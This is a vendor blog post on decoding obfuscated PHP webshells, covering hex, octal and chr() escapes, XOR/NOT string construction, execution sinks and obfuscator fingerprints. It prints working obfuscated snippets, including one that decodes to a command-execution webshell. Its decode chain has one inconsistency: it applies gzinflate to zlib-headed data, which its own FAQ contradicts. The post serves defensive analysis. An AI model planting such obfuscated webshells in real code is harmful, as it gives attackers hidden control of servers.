Techniques13-Apr-26|12 min read

Decode PHP Webshell Obfuscation: Hex, Octal, chr() & Bitwise Patterns

Automated decoding of hex-packed, chr()-chained, and XOR-constructed PHP webshells

You find a PHP file on a compromised WordPress server. Four kilobytes, single-line, almost entirely hex escape sequences. No recognizable function names, no comments, no readable text. But when the web server executes it, it opens a command shell to the internet. This is PHP string obfuscation, and it accounts for 41% of all CMS malware in Sucuri's annual Website Threat Research Report (2024 edition). The attacker replaces every recognizable function name and string literal with escape sequences, character-code arithmetic, or bitwise operations - producing files that contain virtually no readable words yet execute without error. KlaroSkope decodes all known variants automatically: hex, octal, unicode, chr() chains, pack()/hex2bin()/strrev() constructions, and bitwise XOR/NOT/OR/AND operations - iteratively, across as many encoding layers as the sample contains.

Decode PHP webshells automatically. Paste your obfuscated PHP at klaroskope.com/submit - KlaroSkope resolves hex escapes, chr() chains, bitwise operations, and multi-layer encoding chains in seconds.

  • What PHP String Obfuscation Looks Like - with NinjaCodec example
  • The Encoding Techniques - escape sequences, chr()/pack()/strrev(), bitwise XOR/NOT
  • Hex-Encoded Function Name Reference - lookup table for incident response
  • Execution Sinks Beyond eval() - assert, create_function, call_user_func
  • Tool Signatures in the Wild - NinjaCodec, PHPJiaMi, FOPO, b374k, Carbylamine, phpjiami
  • Step-by-Step Decode Walkthrough - every intermediate output shown
  • Threat Landscape - CISA AA21-209A, Sucuri 2024, CMS exploitation
  • Decode It Automatically - before/after example with KlaroSkope

What PHP String Obfuscation Looks Like

PHP's double-quoted strings process escape sequences at parse time. The interpreter sees "\x65" and replaces it with the byte 0x65 (the letter "e") before the string ever reaches user-land code. Attackers exploit this to construct payloads that contain no human-readable function names. The string "\x65\x76\x61\x6c" is the word "eval" - but no signature scanner looking for the literal text "eval" will find it. Assign that string to a variable and call it as a function, and you have invisible code execution. That's the point.

Here is a real-world pattern from the NinjaCodec obfuscation tool:

php
<?=@null;
$_ = "\x65\x76\x61\x6c";
$_("\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65('PD9waHAgZWNobyAnSGVsbG8nOw==')");

We see the <?=@null; prefix regularly - it's a NinjaCodec fingerprint. It outputs nothing but confirms PHP execution on the server. The first variable assignment builds the string "eval" from hex escapes. The second line builds "base64_decode" the same way and calls it on the Base64-encoded payload. Neither "eval" nor "base64_decode" appear anywhere in the source as readable text. A YARA rule matching those strings would likely miss this file.

The Encoding Techniques

PHP webshell obfuscation draws from a combinatorial space of string construction techniques. They fall into three categories: escape sequences processed by the PHP parser, function-based string building at runtime, and bitwise arithmetic on string bytes. Most real-world samples combine techniques from two or all three categories in a single file. The samples that take the longest to analyze aren't the most deeply encoded - they're the ones that mix techniques across categories.

Escape Sequences

PHP supports three escape sequence formats in double-quoted strings. Hex escapes (\xNN) encode each byte as a two-digit hexadecimal value. Octal escapes (\NNN) use three octal digits. Unicode escapes (\u{NNNN}), available since PHP 7.0, specify Unicode code points directly. A critical detail for analysis: single-quoted strings in PHP do NOT process escape sequences. The string '\x65' is the literal four-character sequence backslash-x-6-5, not the letter "e". Attackers nearly always use double-quoted strings or heredoc syntax (<<<EOT) for escape-based obfuscation. Heredoc blocks process escapes identically to double-quoted strings, making them functionally equivalent for obfuscation purposes - and they avoid the quoting conflicts that arise when the payload itself contains double quotes. Nowdoc syntax (<<<'EOT') behaves like single quotes and does not process escapes.

Analysis trap: single-quoted PHP strings do NOT process escape sequences. If you see '\x65\x76\x61\x6c' (single quotes), those are literal characters, not hex escapes. Only double-quoted strings and heredoc blocks decode \xNN sequences.

Many samples mix hex and octal escapes in a single string to defeat tools that only handle one format:

php
$fn = "\x62\141\x73\145\x36\064\x5f\144\x65\143\x6f\144\x65";
// Alternating hex and octal: "base64_decode"
// \x62 = 'b', \141 = 'a', \x73 = 's', \145 = 'e', ...

Hex-Encoded Function Name Reference

Bookmark this section. During incident response, you can match hex sequences from a suspicious PHP file against this table to quickly identify which functions are being hidden.

If you're manually triaging an obfuscated PHP file, these are the hex sequences you'll encounter most often. Each row is a function name that attackers commonly hide behind hex escapes.

Key Examples
\x65\x76\x61\x6c
Functioneval (code execution)
\x61\x73\x73\x65\x72\x74
Functionassert (code execution, PHP <8)
\x73\x79\x73\x74\x65\x6d
Functionsystem (command execution)
\x65\x78\x65\x63
Functionexec (command execution)
\x70\x61\x73\x73\x74\x68\x72\x75
Functionpassthru (command execution)
\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63
Functionshell_exec (command execution)
\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65
Functionbase64_decode (payload decoding)
\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65
Functiongzinflate (decompression)
\x67\x7a\x75\x6e\x63\x6f\x6d\x70\x72\x65\x73\x73
Functiongzuncompress (decompression)
\x73\x74\x72\x5f\x72\x6f\x74\x31\x33
Functionstr_rot13 (encoding layer)
\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e
Functioncreate_function (removed PHP 8)
\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73
Functionfile_get_contents (file access)

Function-Based String Construction

Instead of embedding escape sequences in string literals, attackers can build strings character by character at runtime using PHP's string functions. The chr() function converts an integer to its corresponding ASCII character. Chaining chr() calls with the concatenation operator builds arbitrary strings without any recognizable text in the source. The pack() function with the "H*" format converts a hex string to binary. The hex2bin() function does the same. The strrev() function reverses a string - "edoced_46esab" reversed is "base64_decode". These functions can be nested and combined to produce chains that no static pattern can match.

php
// chr() chain building "eval"
$fn = chr(101).chr(118).chr(97).chr(108);
// $fn = "eval"
$fn(base64_decode($payload));

The chr() arguments can also use arithmetic expressions - chr(50+51) instead of chr(101) - adding another layer of indirection. Some obfuscators use hex (chr(0x65)) or octal (chr(0145)) notation for the integer arguments themselves. We've seen samples where most chr() calls use different arithmetic expressions, specifically to complicate pattern matching.

php
// strrev() hiding function names
$fn = strrev("edoced_46esab");
// $fn = "base64_decode"
$fn($payload);

Beyond eval(): Execution Sinks

Attackers don't always call eval() directly. Any of these functions can execute a decoded payload, which is why decoding the function name is as important as decoding the payload itself.

Key Examples
eval()
StatusActive in all PHP versions
How It WorksEvaluates a string as PHP code directly
assert()
StatusCode execution removed in PHP 8.0
How It WorksIn PHP 5/7, evaluates string argument as PHP code when passed a string
create_function()
StatusRemoved in PHP 8.0
How It WorksCreates an anonymous function from strings; internally calls eval()
preg_replace() with /e
StatusRemoved in PHP 7.0
How It WorksThe /e modifier evaluated the replacement string as PHP code
call_user_func()
StatusActive in all PHP versions
How It WorksCalls a function by name; combined with obfuscated function names, executes arbitrary code
array_map() with callable
StatusActive in all PHP versions
How It WorksMaps a function over array elements; attackers pass a decoded function name and payload as arguments
$var() variable function call
StatusActive in all PHP versions
How It WorksPHP allows calling functions via variables: $fn = 'system'; $fn('whoami'); - no special function needed

Bitwise String Operations

Bitwise string construction represents the most advanced generation of PHP obfuscation, specifically designed to defeat tools that handle escape sequences and function calls. PHP applies bitwise operators to strings byte-by-byte: the XOR of two strings produces a third string where each byte is the XOR of the corresponding input bytes. Neither operand needs to resemble the output. Two strings of random-looking bytes whose XOR produces "eval" - neither string individually reveals anything about the payload. This technique is associated with the Carbylamine and phpjiami obfuscation tools. Carbylamine deliberately constructs operand pairs that avoid printable ASCII patterns, ensuring neither operand triggers string-based detection rules - the randomness is engineered, not incidental.

php
// XOR: neither operand is recognizable
$fn = "\xa4\x1d\x07\xbe" ^ "\xc1\x6b\x66\xd2";
// XOR produces: 0xa4^0xc1=0x65='e', 0x1d^0x6b=0x76='v',
//               0x07^0x66=0x61='a', 0xbe^0xd2=0x6c='l'
// $fn = "eval"
$fn($code);

Bitwise NOT (~) inverts every bit in each byte. Since PHP stores strings as byte arrays, applying NOT to a carefully crafted string produces the desired function name:

php
// Bitwise NOT: single operand, still unreadable
$fn = ~"\x9a\x89\x9e\x93";
// ~0x9a = 0x65 = 'e', ~0x89 = 0x76 = 'v',
// ~0x9e = 0x61 = 'a', ~0x93 = 0x6c = 'l'
// $fn = "eval"
$fn($code);

Some samples combine XOR, NOT, OR, and AND in the same expression, or use the result of one bitwise operation as an operand for the next. The phpjiami obfuscator frequently uses bitwise NOT on string literals as its primary encoding method. More advanced phpjiami variants add type juggling - coercing arrays and objects to strings before applying bitwise operations - which moves the technique beyond what static analysis alone can resolve, since the string values depend on PHP runtime behavior.

Three generations of PHP obfuscation: Generation 1 used escape sequences (\xNN, \NNN) to hide strings. Generation 2 added function-based construction (chr(), pack(), strrev()) to hide function names. Generation 3 introduced bitwise operations (XOR, NOT) where neither operand reveals anything about the output. Most real-world samples combine techniques from multiple generations.

Tool Signatures in the Wild

Different obfuscation tools leave identifiable fingerprints in the files they produce. We use these signatures for clustering related infections, attributing webshell deployments to specific toolkits, and selecting the correct decoding strategy. If you're triaging a compromised server with dozens of PHP files, recognizing the tool gets you to the payload faster.

Key Examples
NinjaCodec
Fingerprint<?=@null; prefix
Typical PatternHex-escaped eval chain with variable-function calls
PHPJiaMi
Fingerprint<?php /**/ ?> opener, $__ variables
Typical Patterngzinflate(base64_decode(str_rot13())) nesting
FOPO
FingerprintHeavy octal escapes, minimal hex
Typical PatternOctal-encoded eval + gzinflate(base64_decode()) chain
b374k
Fingerprint$GLOBALS['mkl0'] key constant
Typical Patterngzinflate(base64_decode()) with embedded config
Carbylamine
FingerprintRandom-looking XOR pairs
Typical PatternBitwise XOR string construction
phpjiami
FingerprintBitwise NOT on string literals
Typical Pattern~"\x9a..." patterns, advanced variants add type juggling

The Decode Chain

Real-world webshells rarely use a single encoding technique. A typical infection chain stacks three to five layers: hex-escaped strings build function names, those functions decode a Base64 payload, the decoded payload is decompressed with gzinflate(), and the decompressed output is passed to eval(). Some samples add str_rot13() as an additional layer, or use multiple rounds of base64_decode(). Each layer needs to be peeled in sequence - you cannot jump to the final payload without resolving the intermediate steps, because each step's output is the input to the next.

The challenge for automated tools is that the decoding order is implicit. There is no metadata saying "decode hex first, then Base64, then decompress." The tool must recognize what it is looking at, apply the correct transformation, check whether the output is still encoded, and repeat. A tool that handles hex escapes but not gzinflate will decode one layer and stop, reporting compressed binary as the "result." This is why most online deobfuscators stop at one layer.

Here is what the full decode chain looks like for our PHPJiaMi sample, with every intermediate output shown:

text
Step 1  - Hex escape resolution:
  $__ = "rWlmfF/VXSNbevjhFp3IHVy3qj2WIx/BGITC1oEJfYpQNWf4PH8="

Step 2  - str_rot13():
  "eJyzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAJs4CU8="

Step 3  - base64_decode():
  78 9c b3 b1 2f c8 28 50 28 ae 2c 2e 49 cd d5 50 ... (zlib compressed)

Step 4  - gzinflate():
  <?php system($_GET['cmd']); ?>

KlaroSkope's PHP decoder resolves escape sequences, function-based constructions, and bitwise operations within PHP code while preserving the surrounding code structure. This means downstream decoders can handle Base64, compression, and ROT13 layers automatically - the full chain is peeled iteratively without manual intervention.

Threat Landscape

PHP string obfuscation is not a niche technique. It's overwhelmingly common. Sucuri's annual Website Threat Research Report (2024 edition) found that 41% of all CMS malware uses hex-encoded eval chains as the primary persistence mechanism. The joint FBI/NSA/GCHQ advisory CISA AA21-209A specifically documents webshell persistence patterns using the same hex and octal escape techniques described above, noting their use in campaigns targeting network infrastructure worldwide.

The technique doesn't care who's using it. Commodity crimeware kits like b374k and WSO use it for mass-deployed webshells on compromised WordPress installations. More sophisticated operations use the same encoding patterns - sometimes with additional layers of encryption or custom packing - for persistent access to high-value targets. Webshell families commonly found with these patterns include China Chopper variants, b374k, WSO, and c99. What varies is the number of layers and the complexity of the outer wrapper, not the core encoding technique.

The most common initial access vector is exploitation of CMS plugin vulnerabilities. A vulnerable WordPress plugin allows file upload or code injection; the attacker writes an obfuscated PHP file to a directory that the web server can execute. Because the file contains no recognizable malware strings, file integrity monitoring tools that rely on pattern matching miss it. The relevant MITRE ATT&CK techniques are T1027 (Obfuscated Files or Information), T1505.003 (Server Software Component: Web Shell), and T1140 (Deobfuscate/Decode Files or Information).

If you find an obfuscated PHP file on your server, assume the server is compromised. Decoding the webshell reveals what the attacker can do, but the file's presence means they already have write access. Decode first, then investigate the initial access vector.

Decode It Automatically

Here is what KlaroSkope does with a real obfuscated webshell. The input is a PHPJiaMi-style sample with hex escapes, Base64, and gzinflate compression stacked together:

php
// INPUT (obfuscated)
<?php /**/ ?><?php $__="\x72\x57\x6c\x6d\x66\x46\x2f\x56\x58\x53\x4e\x62\x65\x76\x6a\x68\x46\x70\x33\x49\x48\x56\x79\x33\x71\x6a\x32\x57\x49\x78\x2f\x42\x47\x49\x54\x43\x31\x6f\x45\x4a\x66\x59\x70\x51\x4e\x57\x66\x34\x50\x48\x38\x3d";
eval(gzinflate(base64_decode(str_rot13($__))));
php
// OUTPUT (decoded by KlaroSkope)
<?php system($_GET['cmd']); ?>

The decoder resolved the hex escapes to reveal an encoded string, applied str_rot13 to produce valid Base64, decoded the Base64 to compressed bytes, decompressed with gzinflate, and produced the final payload - a one-line command execution webshell. The output includes the decoded payload, extracted IOCs (URLs, IPs, domains, API keys), MITRE ATT&CK technique mapping, and YARA/Sigma rule templates. For multi-layer samples, the decoder chain shows exactly which technique was applied at each layer. Paste your obfuscated PHP at klaroskope.com/submit and see the decoded result in seconds.

Try it now --> klaroskope.com/submit - paste any PHP webshell and see the decoded result in seconds.

Frequently Asked Questions

Q

What is PHP hex obfuscation?

PHP hex obfuscation replaces readable characters in PHP source code with \xNN hex escape sequences. In double-quoted strings, PHP's parser converts \x65 to the byte 0x65 (the letter "e") before the code executes. Attackers use this to write functional PHP code - including function names like "eval" and "base64_decode" - without any of those words appearing as readable text in the file.
Q

How do I decode a PHP webshell?

Paste the obfuscated PHP code into KlaroSkope at klaroskope.com/submit. The decoder automatically identifies escape sequences, chr() chains, bitwise operations, and multi-layer encoding, then resolves each layer iteratively until the final payload is visible. No manual decoding steps are required.
Q

What is the <?=@null; prefix in PHP malware?

The <?=@null; prefix is a fingerprint of the NinjaCodec obfuscation tool. The short open tag (<?=) combined with @null outputs nothing but confirms PHP execution on the server. Its presence in a PHP file is a strong indicator that the rest of the file contains NinjaCodec-obfuscated code, typically hex-escaped eval chains.
Q

Can PHP single-quoted strings contain hex escapes?

No. PHP single-quoted strings do not process escape sequences. The string '\x65' contains the literal four characters backslash, x, 6, 5 - not the letter "e". Only double-quoted strings and heredoc (<<<EOT) syntax process \xNN, \NNN, and \u{} escapes. Nowdoc (<<<'EOT') behaves like single quotes and does not process escapes.
Q

What is chr() obfuscation in PHP?

chr() obfuscation builds strings character by character using PHP's chr() function, which converts an integer to its ASCII equivalent. For example, chr(101).chr(118).chr(97).chr(108) produces the string "eval". This avoids having any recognizable function name in the source code. Advanced variants use arithmetic expressions like chr(50+51) instead of direct values.
Q

What MITRE ATT&CK techniques cover PHP webshell obfuscation?

Three techniques are directly relevant. T1027 (Obfuscated Files or Information) covers the encoding of the webshell payload. T1505.003 (Server Software Component: Web Shell) covers the deployment of the webshell on the server. T1140 (Deobfuscate/Decode Files or Information) covers the defensive analysis process of reversing the obfuscation to understand the payload.
Q

What does \x65\x76\x61\x6c mean in PHP?

It's the hex-encoded form of eval. Each \xNN is a hex escape: \x65='e', \x76='v', \x61='a', \x6c='l'. PHP decodes these at parse time in double-quoted strings.
Q

How do I detect an obfuscated PHP webshell on my server?

Look for PHP files with high density of \xNN hex sequences, absence of readable function names, the <?=@null; prefix, or $GLOBALS variable patterns. Files under 10KB with no whitespace or comments are suspicious.
Q

What is the difference between gzinflate and gzuncompress?

gzinflate() expects raw DEFLATE-compressed data with no wrapper. gzuncompress() expects zlib-format data with a 2-byte header and Adler-32 checksum. Webshells tend to use gzinflate for slightly smaller payloads.

Found this useful? Sharing is caring!

Ready to decode?

See KlaroSkope transform obfuscated scripts into actionable intelligence.

Try It Free